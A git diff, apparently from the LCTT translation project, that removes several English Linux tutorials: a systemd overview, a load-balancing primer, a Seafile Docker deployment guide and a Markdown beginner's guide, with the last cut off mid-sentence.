- -Transparent compression is a small but powerful change. It should benefit everyone from developers to sysadmin, from writers to artists, from hobbyists to gamers. It is one among many of the changes in Fedora 34. These changes will allow us to take further advantage of our hardware, and of the powerful Fedora Linux operating system. I have only just touched the surface here. I encourage those of you with interest to begin at the [Fedora Project Wiki][12] and [Btrfs Wiki][13] to learn more! - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/fedora-workstation-34-feature-focus-btrfs-transparent-compression/ - -作者:[nickavem][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/nickavem/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2021/04/btrfs_compression-1-816x345.jpg -[2]: https://unsplash.com/@heapdump?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText -[3]: https://unsplash.com/s/photos/hdd-compare?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText -[4]: https://fedoramagazine.org/fedora-34-feature-focus-updated-activities-overview/ -[5]: https://fedoraproject.org/wiki/Changes/BtrfsTransparentCompression#Simple_Analysis_of_btrfs_zstd_compression_level -[6]: https://fedoramagazine.org/announcing-fedora-34-beta/ -[7]: https://en.wikipedia.org/wiki/Fstab -[8]: https://fedoraproject.org/wiki/Changes/BtrfsTransparentCompression#Q:_Will_.2Fboot_be_compressed.3F -[9]: https://docs.fedoraproject.org/en-US/fedora-silverblue/technical-information/#filesystem-layout -[10]: https://bugzilla.redhat.com/show_bug.cgi?id=1943850 -[11]: https://github.com/kilobyte/compsize -[12]: https://fedoraproject.org/wiki/Changes/BtrfsTransparentCompression -[13]: https://btrfs.wiki.kernel.org/index.php/Compression diff --git a/sources/tech/20210415 5 reasons sysadmins love systemd.md b/sources/tech/20210415 5 reasons sysadmins love systemd.md deleted file mode 100644 index f063a55ddc..0000000000 --- a/sources/tech/20210415 5 reasons sysadmins love systemd.md +++ /dev/null @@ -1,204 +0,0 @@ -[#]: subject: (5 reasons sysadmins love systemd) -[#]: via: (https://opensource.com/article/21/4/sysadmins-love-systemd) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -5 reasons sysadmins love systemd -====== -Systemd's speed and ease make it a popular way to manage modern Linux -systems. -![Woman sitting in front of her laptop][1] - -As systems administrators know, there's a lot happening on modern computers. Applications run in the background, automated events wait to be triggered at a certain time, log files are written, status reports are delivered. Traditionally, these disparate processes have been managed and monitored with a collection of Unix tools to great effect and with great efficiency. However, modern computers are diverse, with local services running alongside containerized applications, easy access to clouds and the clusters they run on, real-time processes, and more data to process than ever. - -Having a unified method of managing them is an expectation for users and a useful luxury for busy sysadmins. For this nontrivial task, the system daemon, or **systemd**, was developed and quickly adopted by all major Linux distributions. - -Of course, systemd isn't the only way to manage a Linux system. There are many alternative init systems, including sysvinit, OpenRC, runit, s6, and even BusyBox, but systemd treats Linux as a unified data set, meant to be manipulated and queried consistently with robust tools. For a busy systems administrator and many users, the speed and ease of systemd is an important feature. Here are five reasons why. - -### Boot management - -Booting a Linux computer can be a surprisingly rare event, if you want it to be. Certainly in the server world, uptimes are often counted in _years_ rather than months or weeks. Laptops and desktops tend to be shut down and booted pretty frequently, although even these are as likely to be suspended or hibernated as they are to be shut down. Either way, the time since the most recent boot event can serve as a sort of session manager for a computer health check. It's a useful way to limit what data you look at when monitoring your system or diagnosing problems. - -In the likely event that you can't remember the last time you booted your computer, you can list boot sessions with systemd's logging tool, `journalctl`: - - -``` -$ journalctl --list-boots --42 7fe7c3... Fri 2020-12-04 05:13:59 - Wed 2020-12-16 16:01:23 --41 332e99... Wed 2020-12-16 20:07:39 - Fri 2020-12-18 22:08:13 -[...] --1 e0fe5f... Mon 2021-03-29 20:47:46 - Mon 2021-03-29 21:59:29 - 0 37fbe4... Tue 2021-03-30 04:46:13 - Tue 2021-03-30 10:42:08 -``` - -The latest boot sessions appear at the bottom of the list, so you can pipe the output to `tail` for just the latest boots. - -The numbers on the left (42, 41, 1, and 0 in this example) are index numbers for each boot session. In other words, to view logs for only a specific boot session, you can use its index number as reference. - -### Log reviews - -Looking at logs is an important method of extrapolating information about your system. Logs provide a history of much of the activity your computer engages in without your direct supervision. You can see when services launched, when timed jobs ran, what services are running in the background, which activities failed, and more. One of the most common initial troubleshooting steps is to review logs, which is easy to do with `journalctl`: - - -``` -`$ journalctl --pager-end` -``` - -The `--pager-end` (or `-e` for short) option starts your view of the logs at the end of the `journalctl` output, so you must scroll up to see events that happened earlier. - -Systemd maintains a "catalog" of errors and messages filled with records of errors, possible solutions, pointers to support forums, and developer documentation. This can provide important context to a log event, which can otherwise be a confusing blip in a sea of messages, or worse, could go entirely unnoticed. To integrate error messages with explanatory text, you can use the `--catalog` (or `-x` for short) option: - - -``` -`$ journalctl --pager-end --catalog` -``` - -To further limit the log output you need to wade through, you can specify which boot session you want to see logs for. Because each boot session is indexed, you can specify certain sessions with the `--boot` option and view only the logs that apply to it: - - -``` -`$ journalctl --pager-end --catalog --boot 42` -``` - -You can also see logs for a specific systemd unit. For instance, to troubleshoot an issue with your secure shell (SSH) service, you can specify `--unit sshd` to see only the logs that apply to the `sshd` daemon: - - -``` -$ journalctl --pager-end \ -\--catalog --boot 42 \ -\--unit sshd -``` - -### Service management - -The first task for systemd is to boot your computer, and it generally does that promptly, efficiently, and effectively. But the task that's never finished is service management. By design, systemd ensures that the services you want to run do indeed start and continue running during your session. This is nicely robust, because in theory even a crashed service can be restarted without your intervention. - -Your interface to help systemd manage services is the `systemctl` command. With it, you can view the unit files that define a service: - - -``` -$ systemctl cat sshd -# /usr/lib/systemd/system/sshd.service -[Unit] -Description=OpenSSH server daemon -Documentation=man:sshd(8) man:sshd_config(5) -After=network.target sshd-keygen.target -Wants=sshd-keygen.target - -[Service] -Type=notify -EnvironmentFile=-/etc/crypto-policies/back-ends/opensshserver.config -EnvironmentFile=-/etc/sysconfig/sshd -ExecStart=/usr/sbin/sshd -D $OPTIONS $CRYPTO_POLICY -ExecReload=/bin/kill -HUP $MAINPID -KillMode=process -Restart=on-failure -RestartSec=42s - -[Install] -WantedBy=multi-user.target -``` - -Most unit files exist in `/usr/lib/systemd/system/` but, as with many important configurations, you're encouraged to modify them with local changes. There's an interface for that, too: - - -``` -`$ systemctl edit sshd` -``` - -You can see whether a service is currently active: - - -``` -$ systemctl is-active sshd -active -$ systemctl is-active foo -inactive -``` - -Similarly, you can see whether a service has failed with `is-failed`. - -Starting and stopping services is nicely intuitive: - - -``` -$ systemctl stop sshd -$ systemctl start sshd -``` - -And enabling a service to start at boot time is simple: - - -``` -`$ systemctl enable sshd` -``` - -Add the `--now` option to enable a service to start at boot time or to start it for your current session. - -### Timers - -Long ago, when you wanted to automate a task on Linux, the canonical tool for the job was `cron`. There's still a place for the cron command, but there are also some compelling alternatives. For instance, the [`anacron` command][2] is a versatile, cron-like system capable of running tasks that otherwise would have been missed during downtime. - -Scheduled events are little more than services activated at a specific time, so systemd manages a cron-like function called [timers][3]. You can list active timers: - - -``` -$ systemctl list-timers -NEXT                          LEFT       -Tue 2021-03-30 12:37:54 NZDT  16min left [...] -Wed 2021-03-31 00:00:00 NZDT  11h left [...] -Wed 2021-03-31 06:42:02 NZDT  18h left [...] - -3 timers listed. -Pass --all to see loaded but inactive timers, too. -``` - -You can enable a timer the same way you enable a service: - - -``` -`$ systemctl enable myMonitor.timer` -``` - -### Targets - -Targets are the final major component of the systemd matrix. A target is defined by a unit file, the same as services and timers. Targets can also be started and enabled in the same way. What makes targets unique is that they group other unit files in an arbitrarily significant way. For instance, you might want to boot to a text console instead of a graphical desktop, so the `multi-user` target exists. However, the `multi-user` target is only the `graphical` target without the desktop unit files as dependencies. - -In short, targets are an easy way for you to collect services, timers, and even other targets together to represent an intended state for your machine. - -In fact, within systemd, a reboot, a power-off, or a shut-down action is just another target. - -You can list all available targets using the `list-unit-files` option, constraining it with the `--type` option set to `target`: - - -``` -`$ systemctl list-unit-files --type target` -``` - -### Taking control with systemd - -Modern Linux uses systemd for service management and log introspection. It provides everything from personal Linux systems to enterprise servers with a modern mechanism for monitoring and easy maintenance. The more you use it, the more systemd becomes comfortably predictable and intuitive, and the more you discover how disparate parts of your system are interconnected. - -To get better acquainted with systemd, you must use it. And to get comfortable with using it, [download our cheat sheet][4] and refer to it often. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/sysadmins-love-systemd - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_4.png?itok=VGZO8CxT (Woman sitting in front of her laptop) -[2]: https://opensource.com/article/21/2/linux-automation -[3]: https://opensource.com/article/20/7/systemd-timers -[4]: https://opensource.com/downloads/linux-systemd-cheat-sheet diff --git a/sources/tech/20210415 A beginner-s guide to load balancing.md b/sources/tech/20210415 A beginner-s guide to load balancing.md deleted file mode 100644 index b12f5c066a..0000000000 --- a/sources/tech/20210415 A beginner-s guide to load balancing.md +++ /dev/null @@ -1,84 +0,0 @@ -[#]: subject: (A beginner's guide to load balancing) -[#]: via: (https://opensource.com/article/21/4/load-balancing) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -A beginner's guide to load balancing -====== -Load balancing distributes resources to where they're needed most at -that moment. -![eight stones balancing][1] - -When the personal computer was young, a household was likely to have one (or fewer) computers in it. Children played games on it during the day, and parents did accounting or programming or roamed through a BBS in the evening. Imagine a one-computer household today, though, and you can predict the conflict it would create. Everyone would want to use the computer at the same time, and there wouldn't be enough keyboard and mouse to go around. - -This is, more or less, the same scenario that's been happening to the IT industry as computers have become more and more ubiquitous. Demand for services and servers has increased to the point that they could grind to a halt from overuse. Fortunately, we now have the concept of load balancing to help us handle the demand. - -### What is load balancing? - -Load balancing is a generic term referring to anything you do to ensure the resources you manage are distributed efficiently. For a web server's systems administrator, load balancing usually means ensuring that the web server software (such as [Nginx][2]) is configured with enough worker nodes to handle a spike in incoming visitors. In other words, should a site suddenly become very popular and its visitor count quadruple in a matter of minutes, the software running the server must be able to respond to each visitor without any of them noticing service degradation. For simple sites, this is as simple as a one-line configuration option, but for complex sites with dynamic content and several database queries for each user, it can be a serious problem. - -This problem is supposed to have been solved with cloud computing, but it's not impossible for a web app to fail to scale out when it experiences an unexpected surge. - -The important thing to keep in mind when it comes to load balancing is that distributing resources _efficiently_ doesn't necessarily mean distributing them _evenly_. Not all tasks require all available resources at all times. A smart load-balancing strategy provides resources to users and tasks only when those resources are needed. This is often the application developer's domain rather than the IT infrastructure's responsibility. Asynchronous applications are vital to ensuring that a user who walks away from the computer for a coffee break isn't occupying valuable resources on the server. - -### How does load balancing work? - -Load balancing avoids bottlenecks by distributing a workload across multiple computational nodes. Those nodes may be physical servers in a data center, containers in a cloud, strategically placed servers enlisted for edge computing, separate Java Virtual Machines (JVMs) in a complex application framework, or daemons running on a single Linux server. - -The idea is to divide a large problem into small tasks and assign each task to a dedicated computer. For a website that requires its users to log in, for instance, the website might be hosted on Server A, while the login page and all the authentication lookups that go along with it are hosted on Server B. This way, the process of a new user logging into an account doesn't steal resources from other users actively using the site. - -#### Load balancing the cloud - -Cloud computing uses [containers][3], so there aren't usually separate physical servers to handle distinct tasks (actually, there are many separate servers, but they're clustered together to act as one computational "brain"). Instead, a "pod" is created from several containers. When one pod starts to run out of resources due to its user or task load, an identical pod is generated. Pods share storage and network resources, and each pod is assigned to a compute node as it's created. Pods can be created or destroyed on demand as the load requires so that users experience consistent quality of service regardless of how many users there are. - -#### Edge computing - -[Edge computing][4] takes the physical world into account when load balancing. The cloud is naturally a distributed system, but in practice, a cloud's nodes are usually concentrated in a few data centers. The further a user is from the data center running the cloud, the more physical barriers they must overcome for optimal service. Even with fiber connections and proper load balancing, the response time of a server located 3,000 miles away is likely greater than the response time of something just 300 miles away. - -Edge computing brings compute nodes to the "edge" of the cloud in an attempt to bridge the geographic divide, forming a sort of satellite network for the cloud, so it also plays a part in a good load-balancing effort. - -### What is a load-balancing algorithm? - -There are many strategies for load balancing, and they range in complexity depending on what technology is involved and what the requirements demand. Load balancing doesn't have to be complicated, and it's important, even when using specialized software like [Kubernetes][5] or [Keepalived][6], to start load balancing from inception. - -Don't rely on containers to balance the load when you could design your application to take simple precautions on its own. If you design your application to be modular and ephemeral from the start, then you'll benefit from the load balancing opportunities made available by clever network design, container orchestration, and whatever tomorrow's technology brings. - -Some popular algorithms that can guide your efforts as an application developer or network engineer include: - - * Assign tasks to servers sequentially (this is often called _round-robin_). - * Assign tasks to the server that's currently the least busy. - * Assign tasks to the server with the best response time. - * Assign tasks randomly. - - - -These principles can be combined or weighted to favor, for instance, the most powerful server in a group when assigning particularly complex tasks. [Orchestration][7] is commonly used so that an administrator doesn't have to drum up the perfect algorithm or strategy for load balancing, although sometimes it's up to the admin to choose which combination of load balancing schemes to use. - -### Expect the unexpected - -Load balancing isn't really about ensuring that all your resources are used evenly across your network. Load balancing is all about guaranteeing a reliable user experience even when the unexpected happens. Good infrastructure can withstand a computer crash, application overload, onslaught of network traffic, and user errors. Think about how your service can be resilient and design load balancing accordingly from the ground up. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/load-balancing - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/water-stone-balance-eight-8.png?itok=1aht_V5V (eight stones balancing) -[2]: https://opensource.com/business/15/4/nginx-open-source-platform -[3]: https://opensource.com/resources/what-are-linux-containers -[4]: https://opensource.com/article/18/5/edge-computing -[5]: https://opensource.com/resources/what-is-kubernetes -[6]: https://www.redhat.com/sysadmin/keepalived-basics -[7]: https://opensource.com/article/20/11/orchestration-vs-automation diff --git a/sources/tech/20210419 How to Deploy Seafile Server with Docker to Host Your Own File Synchronization and Sharing Solution.md b/sources/tech/20210419 How to Deploy Seafile Server with Docker to Host Your Own File Synchronization and Sharing Solution.md deleted file mode 100644 index 97fd223969..0000000000 --- a/sources/tech/20210419 How to Deploy Seafile Server with Docker to Host Your Own File Synchronization and Sharing Solution.md +++ /dev/null @@ -1,282 +0,0 @@ -[#]: subject: (How to Deploy Seafile Server with Docker to Host Your Own File Synchronization and Sharing Solution) -[#]: via: (https://itsfoss.com/deploy-seafile-server-docker/) -[#]: author: (Hunter Wittenborn https://itsfoss.com/author/hunter/) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -How to Deploy Seafile Server with Docker to Host Your Own File Synchronization and Sharing Solution -====== - -First off, what is Seafile? - -[Seafile][1] is a self-hosted file synchronization program that works with the server-client model, as in you have several devices like your laptop and phone that connect to a central server. - -Unlike some more popular alternatives like [Nextcloud or ownCloud][2], Seafile tries to follow the philosophy of “do one thing only, but do it well”. Likewise, Seafile doesn’t have extra goodies built in like Contacts or Calendar integration. - -Seafile instead focuses solely on file syncing, sharing, and the things surrounding it, and that’s it. As a result of that though, it ends up doing so _extremely_ well. - -### Deploying Seafile Server with Docker and NGINX - -Advanced tutorial - -Most tutorials on It’s FOSS are focused on beginners. This one is not. It is intended for advanced users who tinker a lot with DIY projects and prefer to self-host. -This tutorial presumes that you are comfortable using the command line, and that you are at least decently knowledgeable with the programs we’ll be using. - -While the whole process could be done without using NGINX at all, using NGINX will allow for an easier setup, as well as making it significantly easier to self-host more services in the future. - -If you want to use a full-on Docker setup, you could set up [NGINX inside of Docker][3] as well, but it will only make things more complex and doesn’t add too much of a benefit, and likewise won’t be covered in this tutorial. - -#### Installing and Setting Up NGINX - -_**I will be using Ubuntu in this tutorial and will thus be using apt to install packages. If you use Fedora or some other non-Debian distribution, please use your distribution’s [package manager][4].**_ - -[NGINX][5], as well as being a web server, is what’s known as a proxy. It will function as the connection between the Seafile server and the internet, whilst also making several tasks easier to deal with. - -To install NGINX, use the following command: - -``` -sudo apt install nginx -``` - -If you want to use HTTPS (that little padlock in your browser), you will also need to install [Certbot][6]: - -``` -sudo apt install certbot python3-certbot-nginx -``` - -Next, you need to configure NGINX to connect to the Seafile instance that we set up later. - -First, run the following command: - -``` -sudo nano /etc/nginx/sites-available/seafile.conf -``` - -Enter the following text into the file: - -``` -server { - server_name localhost; - location / { - proxy_pass http://localhost:8080; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - } -} -``` - -**Important**: Replace **localhost** on the **server_name** line with the address you’ll be accessing your server from (i.e. **seafile.example.com** or **192.168.0.0**). Not sure what to put? - - * If you are testing just for the sake of it, use localhost. This setup will **only allow you to access the server from your computer**, and that’s it. - * If you want to use Seafile across your local WiFi connection(any device on the same WiFi network as you), you should enter [your computer’s IP address][7]. You may also want to look into [setting a static IP address][8], though it isn’t necessary. - * If you have a public IP address that you know points to your system, use that. - * If you have a domain name(i.e. **example.com**, **example.org**) _and_ a public IP address for your system, change your DNS settings to point the domain name to your system’s IP address. This will also require the public IP address to point to your system. - - - -Now you need to copy the config file to the directory NGINX looks at for files, then restart NGINX: - -``` -sudo ln -s /etc/nginx/sites-available/seafile.conf /etc/nginx/sites-enabled/seafile.conf -sudo systemctl restart nginx -``` - -If you set up Certbot, you’ll also need to run the following to set up HTTPS: - -``` -sudo certbot -``` - -If asked to redirect HTTP traffic to HTTPS, choose **2**. - -Now would be a good time to make sure everything we’ve set up so far is working. If you visit your site, you should get a screen that says something on the lines of `502 Bad Gateway`. - -![][9] - -#### Install Docker and Docker Compose - -Now to get into the fun stuff! - -First things first, you need to have [Docker][10] and [Docker Compose][11] installed. Docker Compose is needed to utilize a docker-compose.yml file, which will make managing the various Docker [containers][12] Seafile needs easier. - -Docker and Docker Compose can be installed with the following command: - -``` -sudo apt install docker.io docker-compose -``` - -To check if Docker is installed and running, run the following: - -``` -sudo docker run --rm hello-world -``` - -You should see something along the lines of this in your terminal if it completed successfully: - -![][13] - -If you would like to avoid adding `sudo` to the beginning of the `docker` command, you can run the following commands to add yourself to the `docker` group: - -``` -sudo groupadd docker -sudo usermod -aG docker $USER -``` - -The rest of this tutorial assumes you ran the above two commands. If you didn’t, add `sudo` to all commands that start with `docker` or `docker-compose`. - -#### Installing Seafile Server - -This part is significantly easier than the part before this. All you need to do is put some text into a file and run a few commands. - -Open up a terminal. Then create a directory where you’d like the contents of the Seafile server to be stored and enter the directory: - -``` -mkdir ~/seafile-server && cd ~/seafile-server -``` - -![][14] - -Go to the directory you created and run the following: - -``` -nano docker-compose.yml -``` - -Next, enter the text below into the window that pops up: - -``` -version: '2.0' -services: - db: - image: mariadb - container_name: seafile-mysql - environment: - - MYSQL_ROOT_PASSWORD=password - - MYSQL_LOG_CONSOLE=true - volumes: - - ./data/mariadb:/var/lib/mysql - networks: - - seafile-net - - memcached: - image: memcached - container_name: seafile-memcached - entrypoint: memcached -m 256 - networks: - - seafile-net - - seafile: - image: seafileltd/seafile-mc - container_name: seafile - ports: - - "8080:80" - volumes: - - ./data/app:/shared - environment: - - DB_HOST=db - - DB_ROOT_PASSWD=password - - TIME_ZONE=Etc/UTC - - [email protected] - - SEAFILE_ADMIN_PASSWORD=password - - SEAFILE_SERVER_LETSENCRYPT=false - - SEAFILE_SERVER_HOSTNAME=docs.seafile.com - depends_on: - - db - - memcached - networks: - - seafile-net - -networks: - seafile-net: -``` - -Before saving the file, a few things will need to be changed: - - * **MYSQL_ROOT_PASSWORD**: Change to a stronger password, you _don’t_ need to remember this, so don’t try to pick anything easy. If you need help making one, use a [password generator][15]. I’d recommend 20 characters long and avoiding any special characters(all the **[[email protected]][16]#$%^&*** symbols). - * **DB_ROOT_PASSWD**: Change to the value you set for ****MYSQL_ROOT_PASSWORD****. - * ****SEAFILE_ADMIN_EMAIL****: Sets the email address for the admin account. - * **SEAFILE_ADMIN_PASSWORD**: Sets the password for the admin account. Avoid making this the same as **MYSQL_ROOT_PASSWORD** or **DB_ROOT_PASSWD**. - * **SEAFILE_SERVER_HOSTNAME**: Set to the address you set in the NGINX configuration. - - - -With that done, you can bring up the whole thing with `docker-compose`: - -``` -docker-compose up -d -``` - -It might take a minute or two depending on your internet connection, as it has to pull down several containers that Seafile needs to run. - -After it’s done, give it a few more minutes to finish up. You can also check the status of it by running the following: - -``` -docker logs seafile -``` - -When it’s done, you’ll see the following output: - -![][17] - -Next, just type the address you set for ****SEAFILE_SERVER_HOSTNAME**** into your browser, and you should be at a login screen. - -![][18] - -And there you go! Everything’s now fully functional and ready to be used with the clients. - -#### Installing the Seafile Clients - -Seafile on mobile is available on [Google Play][19], [F-Droid][20], and on the [iOS App Store][21]. Seafile also has desktop clients available for Linux, Windows, and Mac, available [here][22]. - -Seafile is readily available on Ubuntu systems via the `seafile-gui` package: - -``` -sudo apt install seafile-gui -``` - -Seafile is also in the AUR for Arch users via the `seafile-client` package. - -### Closing Up - -Feel free to explore the clients and all they have to offer. I’ll go into all of what the Seafile clients are capable of in a future article (stay tuned 😃). - -If something’s not working right, or you just have a question in general, feel free to leave it in the comments below – I’ll try to respond whenever I can! - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/deploy-seafile-server-docker/ - -作者:[Hunter Wittenborn][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/hunter/ -[b]: https://github.com/lujun9972 -[1]: https://www.seafile.com/en/home/ -[2]: https://itsfoss.com/nextcloud-vs-owncloud/ -[3]: https://linuxhandbook.com/nginx-reverse-proxy-docker/ -[4]: https://itsfoss.com/package-manager/ -[5]: https://www.nginx.com/ -[6]: https://certbot.eff.org/ -[7]: https://itsfoss.com/check-ip-address-ubuntu/ -[8]: https://itsfoss.com/static-ip-ubuntu/ -[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/nginx_bad_gateway.png?resize=489%2C167&ssl=1 -[10]: https://www.docker.com/ -[11]: https://docs.docker.com/compose/ -[12]: https://www.docker.com/resources/what-container -[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/seafile-docker-helloworld.png?resize=752%2C416&ssl=1 -[14]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/seafile-dir.png?resize=731%2C174&ssl=1 -[15]: https://itsfoss.com/password-generators-linux/ -[16]: https://itsfoss.com/cdn-cgi/l/email-protection -[17]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/04/seafile-running.png?resize=752%2C484&ssl=1 -[18]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/seafile-login.jpg?resize=800%2C341&ssl=1 -[19]: https://play.google.com/store/apps/details?id=com.seafile.seadroid2 -[20]: https://f-droid.org/repository/browse/?fdid=com.seafile.seadroid2 -[21]: https://itunes.apple.com/cn/app/seafile-pro/id639202512?l=en&mt=8 -[22]: https://www.seafile.com/en/download/ diff --git a/sources/tech/20210424 Getting Started With Markdown -Beginner-s Guide.md b/sources/tech/20210424 Getting Started With Markdown -Beginner-s Guide.md deleted file mode 100644 index 74b14bf09c..0000000000 --- a/sources/tech/20210424 Getting Started With Markdown -Beginner-s Guide.md +++ /dev/null @@ -1,303 +0,0 @@ -[#]: subject: (Getting Started With Markdown [Beginner’s Guide]) -[#]: via: (https://itsfoss.com/markdown-guide/) -[#]: author: (Bill Dyer https://itsfoss.com/author/bill/) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Getting Started With Markdown [Beginner’s Guide] -====== - -In my work, I often have to write code, write the documentation that goes with that code, create Web pages, and work on text restoration projects, and have written several formal papers while I was in school. I can include class notes here, too; I needed to write them for nearly every class. - -I use Markdown for nearly all of my writing and it is a major time-saver for me. - -In this article, I am going to share my experience with Markdown. You’ll be learning the following: - - * What is Markdown? - * How does it work? - * Markdown basic syntax and how to use them - - - -### What is Markdown? - -If you are new to Markdown, it is a text-to-HTML conversion tool for web writers. Markdown files follow a specific syntax that is easy to read and just as easy to write. They are plain text files so they can be created using any text editor on any computer. These files can then be turned into Web pages – and Web pages are built using a markup called HTML. - -Markdown then, is just a way to create Web pages without the need (or even know how) to write HTML code. Actually, Markdown is an great way to format plain text even if you don’t have to convert to HTML. Someone once described Markdown to me this way: - -> “It isn’t _what you see is what you get_, but _what you see is what you mean_”. - -Markdown, however, is more than an easy formatting scheme, it is also a software tool that converts the plain text formatting to HTML. - -This is why the syntax is important. If you want a title on your Web page, Markdown will create one based on the character(s) you use in front of your title. A sampling of some of Markdown’s syntax is shown this screenshot: - -![Markdown to HTML conversion][1] - -### So how do I make this plain text to HTML conversion? - -John Gruber’s Markdown is a Perl script that is run on the command line. Basically, it reads the Markdown text that you create and builds a Web page from it. - -I will avoid the command line here since there are [many outstanding Markdown editors][2] that can do this conversion for you. Not only that, many of these editors will let you write your text and show you what the Web page will look like (called _rendering_) at the same time. - -Markdown editors are generally set up to show two frames. The left frame is where you write your text and the right frame shows you what the formatted text will look like in HTML: - -![Most Markdown editors have two panes to write and preview the text][3] - -When you are finished with your text and are happy with it, simply save the Markdown file. This way, you’ll always have it in case you need to edit or rewrite later. Once the file is saved, you can have the editor export the markdown file to HTML. - -The editor will create the Web page, using your Markdown as a reference. Your Markdown file will not be changed during an export – you will still have it – along with a separate, newly created HTML (Web page) file that you can put on a Web server. - -**Note**: Many Markdown editors can also export your Markdown files to other formats, such as `.doc`, `.docx`, and `.pdf`. You can learn about those advanced setups, and extra software you might need, later on. - -### Basic Markdown Syntax - -To get the new Markdown user up to speed quickly, I will limit this to cover the syntax I use most often. These, I believe will be the most helpful – you can be productive now while you learn more about what Markdown can do for you later on. - -#### Write Headings - -I normally use `#` characters to denote headings. There are six levels: - -``` -# Level 1 Heading -## Level 2 Heading -### Level 3 Heading -#### Level 4 Heading -##### Level 5 Heading -###### Level 6 Heading -``` - -There is another heading style that uses lines underneath the text. I rarely use this type of heading since I am limited to only two. A double line, which is made with the `=` character, makes a `H1` heading. A single line, made with the `-` character, makes a `H2` heading: - -``` -Level 1 Heading -=============== - -Level 2 Heading ---------------- -``` - -![][4] - -#### Paragraphs - -Paragraphs are separated by a blank line (make sure that there is a blank line between paragraphs). Do not indent the first line at all. Indenting with a `` or `` has a different purpose in Markdown. - -A paragraph is a block of text and should not be indented with spaces or tabs. It can have one line or many lines. To end a paragraph and start a new one, the `` key is hit twice; paragraphs are separated by a blank line. - -![][5] - -#### Line Breaks - -Remember that with paragraphs, a blank line has to separate them and this is done by pressing twice on the `` key. Markdown is strict about it. - -Markdown does not support “hard-wrapped” or “fixed-line-length” paragraphs. That is, hitting the `` key once will not force text to a new line. It may appear so in the editing window, but the HTML won’t show it. - -Yet, there will be times when you may need to break up paragraphs with some way to break up a line. Markdown does have a way to do this but it may seem a little strange at first: **a line break is made by ending a line with two or more spaces and then hitting the `` key once.** - -![][6] - -Here is a working example of a short verse. Each line has two spaces at the end. The last line, since it’s the end of the verse, doesn’t have the extra spaces. Since it’s the end of the verse (paragraph), I hit the `` key twice: - -Baa, baa black sheep, -Have you any wool?. -Yes, sir. Yes, sir. -Three bags full. - -Adding two spaces at the end of a line, to create a line break, can take some getting used to. - -![][7] - -#### Horizontal Rules - -Horizontal rules are great for splitting up text into sections. - -Use three or more dashes `-`, underscores `_`, or asterisks `*` for horizontal rules, like so: - -``` -`---` - -`***` - -`___` -``` - -You can even put spaces between the characters: - -``` -`- - -` -``` - -I do not use horizontal rules very often in articles or papers, but they come in handy for me in journal entries, system logs, and class notes. - -![][8] - -#### Emphasis on text with bold and italics - -When you want a word or phrase to stand out and be noticed, you can either make it bold or italicized. Italics and bold text can be made on one of two ways. The first is by surrounding the text with asterisks `*`, while the second is to use underscores `_`. - -To italicize a word or phrase, surround the text with one underscore or asterisk. To make a word or phrase bold, surround it with two underscores or asterisks: - -``` -This is *italics* made with asterisks. - -This is _italics_ made with underscores. - -This is **bold** made with asterisks. - -This is __bold__ made with underscores. -``` - -Remember to use the same character. An asterisk on one side of a word or phrase, and an underscore on the side, will not work. The same character has to be on both sides of the word or phrase. - -![][9] - -#### Block quotes - -Block quotes are used for direct quotes. If you were writing a blog entry and you wanted to repeat something that Benjamin Franklin said, you could use a block quote. - -A right angle bracket is used to specify a block quote: - -``` -> This is a block quote. - ->> Use two right angle brackets if you want a block quote that is further indented. -``` - -![][10] - -#### Adding links in Markdown - -Links are just plain cool. There are three ways to create links on basic Markdown, but I will only cover two here: Regular links and automatic links. - -The third type of link, called reference links, are supported in basic Markdown and more advanced flavors. I want to get to started quickly. You can look up reference links when you are ready for that. - -Regular links let you link to various websites. The name of the site, or a phrase you want to use, is placed in square brackets `[]`. The actual link is inside parentheses `()`. - -``` -Visit [It's FOSS](https://itsfoss.com) today! -``` - -Automatic links are made with angle brackets `<>` 